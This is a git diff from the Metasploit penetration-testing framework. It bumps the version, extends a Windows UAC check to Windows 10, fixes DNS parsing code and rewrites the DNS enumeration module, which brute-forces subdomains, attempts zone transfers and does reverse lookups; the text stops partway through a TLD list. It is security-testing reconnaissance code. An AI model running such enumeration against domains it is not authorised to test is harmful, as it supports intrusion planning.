diff --git a/Gemfile.lock b/Gemfile.lock index ca8cb66d75..5fdf4324e3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.21) + metasploit-framework (4.11.22) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 2fb8817399..5ac1e38fdc 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.21" + VERSION = "4.11.22" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index d6b6e578fa..63a0186fe2 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008|2012)/ + if winversion =~ /Windows (Vista|7|8|2008|2012|10)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index 719742de67..8d2b46165b 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -1031,8 +1031,9 @@ module Net # :nodoc: @logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}" begin - response = Net::DNS::Packet.parse(ans[0],ans[1]) - if response && response.answer && response.answer[0] && response.answer[0].type == "SOA" + return unless (response = Net::DNS::Packet.parse(ans[0],ans[1])) + return if response.answer.empty? + if response.answer[0].type == "SOA" soa += 1 if soa >= 2 break @@ -1214,6 +1215,7 @@ module Net # :nodoc: end if block_given? yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + break else return [buffer,["",@config[:port],ns.to_s,ns.to_s]] end diff --git a/lib/net/dns/rr.rb b/lib/net/dns/rr.rb index 7183f95657..c6cca85d14 100644 --- a/lib/net/dns/rr.rb +++ b/lib/net/dns/rr.rb @@ -8,7 +8,7 @@ require 'net/dns/rr/types' require 'net/dns/rr/classes' -%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file| +%w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file| require "net/dns/rr/#{file}" end diff --git a/lib/net/dns/rr/hinfo.rb b/lib/net/dns/rr/hinfo.rb index 4de7f22524..ce84fd8e54 100644 --- a/lib/net/dns/rr/hinfo.rb +++ b/lib/net/dns/rr/hinfo.rb @@ -62,7 +62,7 @@ module Net len = data.unpack("@#{offset} C")[0] @cpu = data[offset+1..offset+1+len] offset += len+1 - len = @data.unpack("@#{offset} C")[0] + len = data.unpack("@#{offset} C")[0] @os = data[offset+1..offset+1+len] return offset += len+1 end diff --git a/lib/rex/parser/burp_issue_nokogiri.rb b/lib/rex/parser/burp_issue_nokogiri.rb index c14ec9c869..f9a112da4e 100644 --- a/lib/rex/parser/burp_issue_nokogiri.rb +++ b/lib/rex/parser/burp_issue_nokogiri.rb @@ -88,7 +88,7 @@ module Rex def report_web_host_info return unless @state[:host] address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil - host_info = {:workspace => @args[:wspace]} + host_info = {workspace: @args[:wspace]} host_info[:address] = address host_info[:name] = @state[:host] db_report(:host, host_info) @@ -99,7 +99,7 @@ module Rex return unless @state[:port] return unless @state[:proto] return unless @state[:service_name] - service_info = {} + service_info = {workspace: @args[:wspace]} service_info[:host] = @state[:host] service_info[:port] = @state[:port] service_info[:proto] = @state[:proto] @@ -112,7 +112,7 @@ module Rex return unless @state[:vuln_name] return unless @state[:issue_detail] return unless @state[:refs] - vuln_info = {} + vuln_info = {workspace: @args[:wspace]} vuln_info[:service_id] = @state[:service_object].id vuln_info[:host] = @state[:host] vuln_info[:name] = @state[:vuln_name] diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index b38d034abe..decc133609 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -134,6 +134,7 @@ module Parser vuln_info[:info] = @state[:vuln_desc] vuln_info[:port] = @state[:port] vuln_info[:proto] = @state[:proto] + vuln_info[:workspace] = @args[:wspace] db_report(:vuln, vuln_info) end @@ -147,6 +148,7 @@ module Parser vuln_info[:info] = @state[:vuln_desc] vuln_info[:port] = @state[:port] vuln_info[:proto] = @state[:proto] + vuln_info[:workspace] = @args[:wspace] db_report(:vuln, vuln_info) end @@ -159,11 +161,13 @@ module Parser service_info[:name] = @state[:name] service_info[:port] = @state[:port] service_info[:proto] = @state[:proto] + service_info[:workspace] = @args[:wspace] db_report(:service, service_info) host_info = {} host_info[:host] = @state[:host] + host_info[:workspace] = @args[:wspace] db_report(:host, host_info) end diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 51add4368f..40f6cd2ea4 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -1,483 +1,425 @@ + ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require "net/dns/resolver" +require 'net/dns/resolver' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Record Scanner and Enumerator ', - 'Description' => %q{ + 'Name' => 'DNS Record Scanner and Enumerator', + 'Description' => %q( This module can be used to gather information about a domain from a given DNS server by performing various DNS queries such as zone transfers, reverse lookups, SRV record bruteforcing, and other techniques. - - }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '1999-0532'], - ['OSVDB', '492'], - ] - )) + ), + 'Author' => [ + 'Carlos Perez ', + 'Nixawk' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '1999-0532'], + ['OSVDB', '492'] + ])) register_options( [ - OptString.new('DOMAIN', [ true, "The target domain name"]), - OptBool.new('ENUM_AXFR', [ true, 'Initiate a zone transfer against each NS record', true]), - OptBool.new('ENUM_TLD', [ true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]), - OptBool.new('ENUM_STD', [ true, 'Enumerate standard record types (A,MX,NS,TXT and SOA)', true]), - OptBool.new('ENUM_BRT', [ true, 'Brute force subdomains and hostnames via the supplied wordlist', false]), - OptBool.new('ENUM_IP6', [ true, 'Brute force hosts with IPv6 AAAA records',false]), + OptString.new('DOMAIN', [true, 'The target domain']), + OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]), + OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]), + OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]), + OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]), + OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]), + OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]), + OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]), + OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]), OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]), - OptBool.new('ENUM_SRV', [ true, 'Enumerate the most common SRV records', true]), - OptPath.new('WORDLIST', [ false, "Wordlist for domain name bruteforcing", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries (default is system DNS)" ]), + OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]), + OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]), + OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]), + OptAddress.new('NS', [false, 'Specify the nameserver to use for queries (default is system DNS)']), OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]), - OptBool.new('STOP_WLDCRD', [ true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]) + OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]), + OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')]) ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), - OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]), + OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]), + OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]), + OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]), + OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false]) ], self.class) end - def switchdns(target) - if not datastore['NS'].nil? - print_status("Using DNS Server: #{datastore['NS']}") - @res.nameserver=(datastore['NS']) - @nsinuse = datastore['NS'] - else - querysoa = @res.query(target, "SOA") - if (querysoa) - (querysoa.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - query1soa = @res.search(rr.mname) - if (query1soa and query1soa.answer[0]) - print_status("Setting DNS Server to #{target} NS: #{query1soa.answer[0].address}") - @res.nameserver=(query1soa.answer[0].address) - @nsinuse = query1soa.answer[0].address - end - end - end - end - end - - def wildcard(target) - rendsub = rand(10000).to_s - query = @res.query("#{rendsub}.#{target}", "A") - if query.answer.length != 0 - print_status("This domain has wildcards enabled!!") - query.answer.each do |rr| - print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME - end - return true - else - return false - end - end - - def genrcd(target) - print_status("Retrieving general DNS records") - query = @res.search(target) - if (query) - query.answer.each do |rr| - next unless rr.class == Net::DNS::RR::A - print_status("Domain: #{target} IP address: #{rr.address} Record: A ") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s},#{target},A") - end - end - query = @res.query(target, "SOA") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - query1 = @res.search(rr.mname) - if (query1) - query1.answer.each do |ip| - print_status("Start of Authority: #{rr.mname} IP address: #{ip.address} Record: SOA") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{ip.address.to_s},#{rr.mname},SOA") - end - end - end - end - query = @res.query(target, "NS") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - query1 = @res.search(rr.nsdname) - if (query1) - query1.answer.each do |ip| - next unless ip.class == Net::DNS::RR::A - print_status("Name Server: #{rr.nsdname} IP address: #{ip.address} Record: NS") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{ip.address.to_s},#{rr.nsdname},NS") - end - end - end - end - query = @res.query(target, "MX") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| - print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.exchange},MX") - end - end - query = @res.query(target, "TXT") - if (query) - query.answer.each do |rr| - print_status(rr.inspect) - print_status("Text: #{rr.inspect}") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => rr.inspect) - end - end - end - - def tldexpnd(targetdom,nssrv) - target = targetdom.scan(/(\S*)[.]\w*\z/).join - target.chomp! - if not nssrv.nil? - @res.nameserver=(nssrv) - @nsinuse = nssrv - end - i, a = 0, [] - tlds = [ - "com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz", - "as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au", - "at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm", - "bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi", - "kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc", - "co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz", - "dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee", - "et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm", - "ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg", - "gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in", - "id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo", - "kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls", - "lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv", - "ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc", - "mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc", - "nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw", - "pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re", - "ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn", - "sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk", - "sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj", - "tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv", - "ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn", - "vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int", - "gs", "info", "biz", "su", "name", "coop", "aero" ] - print_status("Performing Top Level Domain expansion using #{tlds.size} TLDs") - - tlds.each do |tld| - query1 = @res.search("#{target}.#{tld}") - if (query1) - query1.answer.each do |rr| - print_status("Domain: #{target}.#{tld} Name: #{rr.name} IP address: #{rr.address} Record: A ") if rr.class == Net::DNS::RR::A - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53, - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s},#{target}.#{tld},A") if rr.class == Net::DNS::RR::A - end - end - end - - end - - def dnsbrute(target, wordlist, nssrv) - print_status("Running bruteforce against domain #{target}") - arr = [] - i, a = 0, [] - ::File.open(wordlist, "rb").each_line do |line| - if not nssrv.nil? - @res.nameserver=(nssrv) - @nsinuse = nssrv - end - query1 = @res.search("#{line.chomp}.#{target}") - if (query1) - query1.answer.each do |rr| - if rr.class == Net::DNS::RR::A - print_status("Hostname: #{line.chomp}.#{target} IP address: #{rr.address.to_s}") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s},#{line.chomp}.#{target},A") - next unless rr.class == Net::DNS::RR::CNAME - end - end - end - end - end - - def bruteipv6(target, wordlist, nssrv) - print_status("Bruteforcing IPv6 addresses against domain #{target}") - arr = [] - i, a = 0, [] - arr = IO.readlines(wordlist) - if not nssrv.nil? - @res.nameserver=(nssrv) - @nsinuse = nssrv - end - arr.each do |line| - query1 = @res.search("#{line.chomp}.#{target}", "AAAA") - if (query1) - query1.answer.each do |rr| - if rr.class == Net::DNS::RR::AAAA - print_status("Hostname: #{line.chomp}.#{target} IPv6 Address: #{rr.address.to_s}") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s},#{line.chomp}.#{target},AAAA") - next unless rr.class == Net::DNS::RR::CNAME - end - end - end - - end - end - - - - def reverselkp(iprange,nssrv) - print_status("Running reverse lookup against IP range #{iprange}") - if not nssrv.nil? - @res.nameserver = (nssrv) - @nsinuse = nssrv - end - ar = Rex::Socket::RangeWalker.new(iprange) - tl = [] - while (true) - # Spawn threads for each host - while (tl.length < @threadnum) - ip = ar.next_ip - break if not ip - tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| - begin - query = @res.query(tip) - raise ::Rex::ConnectionError - query.each_ptr do |addresstp| - print_status("Hostname: #{addresstp} IP address: #{tip.to_s}") - report_note(:host => @nsinuse.to_s, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{addresstp},#{tip},A") - end - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError - rescue ::Exception => e - print_error("Error: #{tip}: #{e.message}") - elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}") - end - end - end - # Exit once we run out of hosts - if(tl.length == 0) - break - end - tl.first.join - tl.delete_if { |t| not t.alive? } - end - end - - # SRV Record Enumeration - def srvqry(dom,nssrv) - print_status("Enumerating SRV records for #{dom}") - i, a = 0, [] - # Most common SRV Records - srvrcd = [ - "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", - "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", - "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.", - "_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.", - "_sipinternal._tcp.","_sipinternaltls._tcp.","_sip._tls.","_sipfederationtls._tcp.", - "_jabber._tcp.","_xmpp-server._tcp.","_xmpp-client._tcp.","_imap._tcp.","_certificates._tcp.", - "_crls._tcp.","_pgpkeys._tcp.","_pgprevokations._tcp.","_cmp._tcp.","_svcp._tcp.","_crl._tcp.", - "_ocsp._tcp.","_PKIXREP._tcp.","_smtp._tcp.","_hkp._tcp.","_hkps._tcp.","_jabber._udp.", - "_xmpp-server._udp.","_xmpp-client._udp.","_jabber-client._tcp.","_jabber-client._udp."] - srvrcd.each do |srvt| - trg = "#{srvt}#{dom}" - query = @res.query(trg , Net::DNS::SRV) - next unless query - query.answer.each do |srv| - next if srv.type == "CNAME" - print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") - end - end - print_status("Done") - end - - # For Performing Zone Transfers - def axfr(target, nssrv) - print_status("Performing zone transfer against all nameservers in #{target}") - if not nssrv.nil? - @res.nameserver=(nssrv) - @nsinuse = nssrv - end - @res.tcp_timeout=15 - query = @res.query(target, "NS") - if query && query.answer.length != 0 - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd| - print_status("Testing nameserver: #{nsrcd.nsdname}") - nssrvquery = @res.query(nsrcd.nsdname, "A") - if nssrvquery.answer.length == 0 - nssrvip = Rex::Socket.gethostbyname(nsrcd.nsdname)[3].bytes.reduce {|a,b| [a,b].join(".")} - else - nssrvip = nssrvquery.answer[0].address.to_s - end - begin - @res.nameserver=(nssrvip) - @nsinuse = nssrvip - zone = [] - - begin - zone = @res.axfr(target) - rescue ::NoResponseError - end - - if zone.length != 0 - print_status("Zone transfer successful") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => zone) - # Prints each record according to its type - zone.each do |response| - response.answer.each do |rr| - begin - case rr.type - when "A" - print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ") - when "SOA" - print_status("Name: #{rr.mname} Record: SOA") - when "MX" - print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX") - when "CNAME" - print_status("Name: #{rr.cname} Record: CNAME") - when "HINFO" - print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO") - when "AAAA" - print_status("IPv6 Address: #{rr.address} Record: AAAA") - when "NS" - print_status("Name: #{rr.nsdname} Record: NS") - when "TXT" - print_status("Text: #{rr.inspect}") - when "SRV" - print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV") - end - rescue ActiveRecord::RecordInvalid - # Do nothing. Probably tried to store :host => 127.0.0.1 - end - end - end - else - print_error("Zone transfer failed (length was zero)") - end - rescue Exception => e - print_error("Error executing zone transfer: #{e.message}") - elog("Error executing zone transfer: #{e.message}\n#{e.backtrace.join("\n")}") - end - end - - else - print_error("Could not resolve domain #{target}") - end - end - def run - @res = Net::DNS::Resolver.new() - if datastore['TCP_DNS'] - vprint_status("Using DNS/TCP") - @res.use_tcp = true - end - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i - @threadnum = datastore['THREADS'].to_i - wldcrd = wildcard(datastore['DOMAIN']) - switchdns(datastore['DOMAIN']) + domain = datastore['DOMAIN'] + is_wildcard = dns_wildcard_enabled?(domain) - if(datastore['ENUM_STD']) - genrcd(datastore['DOMAIN']) - end + axfr(domain) if datastore['ENUM_AXFR'] + get_a(domain) if datastore['ENUM_A'] + get_cname(domain) if datastore['ENUM_CNAME'] + get_ns(domain) if datastore['ENUM_NS'] + get_mx(domain) if datastore['ENUM_MX'] + get_soa(domain) if datastore['ENUM_SOA'] + get_txt(domain) if datastore['ENUM_TXT'] + get_tld(domain) if datastore['ENUM_TLD'] + get_srv(domain) if datastore['ENUM_SRV'] + threads = datastore['THREADS'] + dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL'] - if(datastore['ENUM_TLD']) - tldexpnd(datastore['DOMAIN'],datastore['NS']) + return unless datastore['ENUM_BRT'] + if is_wildcard + dns_bruteforce(domain, threads) unless datastore['STOP_WLDCRD'] + else + dns_bruteforce(domain, threads) end + end - if(datastore['ENUM_BRT']) - if wldcrd and datastore['STOP_WLDCRD'] - print_error("Wildcard record found!") + def dns_query(domain, type) + begin + nameserver = datastore['NS'] + if nameserver.blank? + dns = Net::DNS::Resolver.new else - dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS']) + dns = Net::DNS::Resolver.new(nameservers: ::Rex::Socket.resolv_to_dotted(nameserver)) + end + dns.use_tcp = datastore['TCP_DNS'] + dns.udp_timeout = datastore['TIMEOUT'] + dns.retry_number = datastore['RETRY'] + dns.retry_interval = datastore['RETRY_INTERVAL'] + dns.query(domain, type) + rescue ResolverArgumentError, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e + print_error("Query #{domain} DNS #{type} - exception: #{e}") + return nil + end + end + + def dns_bruteforce(domain, threads) + wordlist = datastore['WORDLIST'] + return if wordlist.blank? + threads = 1 if threads <= 0 + + queue = [] + File.foreach(wordlist) do |line| + queue << "#{line.chomp}.#{domain}" + end + + records = [] + until queue.empty? + t = [] + threads = 1 if threads <= 0 + + if queue.length < threads + # work around issue where threads not created as the queue isn't large enough + threads = queue.length + end + + begin + 1.upto(threads) do + t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |test_current| + Thread.current.kill unless test_current + a = get_a(test_current, 'DNS bruteforce records') + records |= a if a + end + end + t.map(&:join) + + rescue ::Timeout::Error + ensure + t.each { |x| x.kill rescue nil } end end + records + end - if(datastore['ENUM_IP6']) - if wldcrd and datastore['STOP_WLDCRD'] - print_status("Wildcard Record Found!") - else - bruteipv6(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS']) + def dns_reverse(cidr, threads) + iplst = [] + ipadd = Rex::Socket::RangeWalker.new(cidr) + numip = ipadd.num_ips + while iplst.length < numip + ipa = ipadd.next_ip + break unless ipa + iplst << ipa + end + + records = [] + while !iplst.nil? && !iplst.empty? + t = [] + threads = 1 if threads <= 0 + begin + 1.upto(threads) do + t << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_text| + next if ip_text.nil? + a = get_ptr(ip_text) + records |= a if a + end + end + t.map(&:join) + + rescue ::Timeout::Error + ensure + t.each { |x| x.kill rescue nil } end end + records + end - if(datastore['ENUM_AXFR']) - axfr(datastore['DOMAIN'],datastore['NS']) + def dns_wildcard_enabled?(domain) + records = get_a("#{Rex::Text.rand_text_alpha(16)}.#{domain}", 'DNS wildcard records') + if records.blank? + false + else + print_warning('dns wildcard is enable OR fake dns server') + true end + end - if(datastore['ENUM_SRV']) - srvqry(datastore['DOMAIN'],datastore['NS']) - end + def get_ptr(ip) + resp = dns_query(ip, nil) + return if resp.blank? || resp.answer.blank? - if(datastore['ENUM_RVL'] and datastore['IPRANGE'] and not datastore['IPRANGE'].empty?) - reverselkp(datastore['IPRANGE'],datastore['NS']) + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::PTR + records << r.ptr.to_s + print_good("#{ip}: PTR: #{r.ptr} ") end + return if records.blank? + save_note(ip, 'DNS PTR records', records) + records + end + + def get_a(domain, type='DNS A records') + resp = dns_query(domain, 'A') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::A + records << r.address.to_s + print_good("#{domain} A: #{r.address} ") if datastore['ENUM_BRT'] + end + return if records.blank? + save_note(domain, type, records) + records + end + + def get_cname(domain) + print_status("querying DNS CNAME records for #{domain}") + resp = dns_query(domain, 'CNAME') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::CNAME + records << r.cname.to_s + print_good("#{domain} CNAME: #{r.cname}") + end + return if records.blank? + save_note(domain, 'DNS CNAME records', records) + records + end + + def get_ns(domain) + print_status("querying DNS NS records for #{domain}") + resp = dns_query(domain, 'NS') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::NS + records << r.nsdname.to_s + print_good("#{domain} NS: #{r.nsdname}") + end + return if records.blank? + save_note(domain, 'DNS NS records', records) + records + end + + def get_mx(domain) + print_status("querying DNS MX records for #{domain}") + begin + resp = dns_query(domain, 'MX') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::MX + records << r.exchange.to_s + print_good("#{domain} MX: #{r.exchange}") + end + rescue SocketError => e + print_error("Query #{domain} DNS MX - exception: #{e}") + ensure + return if records.blank? + save_note(domain, 'DNS MX records', records) + records + end + end + + def get_soa(domain) + print_status("querying DNS SOA records for #{domain}") + resp = dns_query(domain, 'SOA') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::SOA + records << r.mname.to_s + print_good("#{domain} SOA: #{r.mname}") + end + return if records.blank? + save_note(domain, 'DNS SOA records', records) + records + end + + def get_txt(domain) + print_status("querying DNS TXT records for #{domain}") + resp = dns_query(domain, 'TXT') + return if resp.blank? || resp.answer.blank? + + records = [] + resp.answer.each do |r| + next unless r.class == Net::DNS::RR::TXT + records << r.txt.to_s + print_good("#{domain} TXT: #{r.txt}") + end + return if records.blank? + save_note(domain, 'DNS TXT records', records) + records + end + + def get_tld(domain) + begin + print_status("querying DNS TLD records for #{domain}") + domain_ = domain.split('.') + domain_.pop + domain_ = domain_.join('.') + + tlds = [ + 'com', 'org', 'net', 'edu', 'mil', 'gov', 'uk', 'af', 'al', 'dz', + 'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'ac', 'au', + 'at', 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm', + 'bt', 'bo', 'ba', 'bw', 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi', + 'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', 'cl', 'cn', 'cx', 'cc', + 'co', 'km', 'cd', 'cg', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', 'cz', + 'dk', 'dj', 'dm', 'do', 'tp', 'ec', 'eg', 'sv', 'gq', 'er', 'ee', + 'et', 'fk', 'fo', 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm', + 'ge', 'de', 'gh', 'gi', 'gr', 'gl', 'gd', 'gp', 'gu', 'gt', 'gg', + 'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', 'in', + 'id', 'ir', 'iq', 'ie', 'im', 'il', 'it', 'jm', 'jp', 'je', 'jo', + 'kz', 'ke', 'ki', 'kp', 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls', + 'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', 'mg', 'mw', 'my', 'mv', + 'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', 'mc', + 'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc', + 'nz', 'ni', 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw', + 'pa', 'pg', 'py', 'pe', 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're', + 'ro', 'ru', 'rw', 'kn', 'lc', 'vc', 'ws', 'sm', 'st', 'sa', 'sn', + 'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', 'za', 'gz', 'es', 'lk', + 'sh', 'pm', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj', + 'tz', 'th', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv', + 'ug', 'ua', 'ae', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn', + 'vg', 'vi', 'wf', 'eh', 'ye', 'yu', 'za', 'zr', 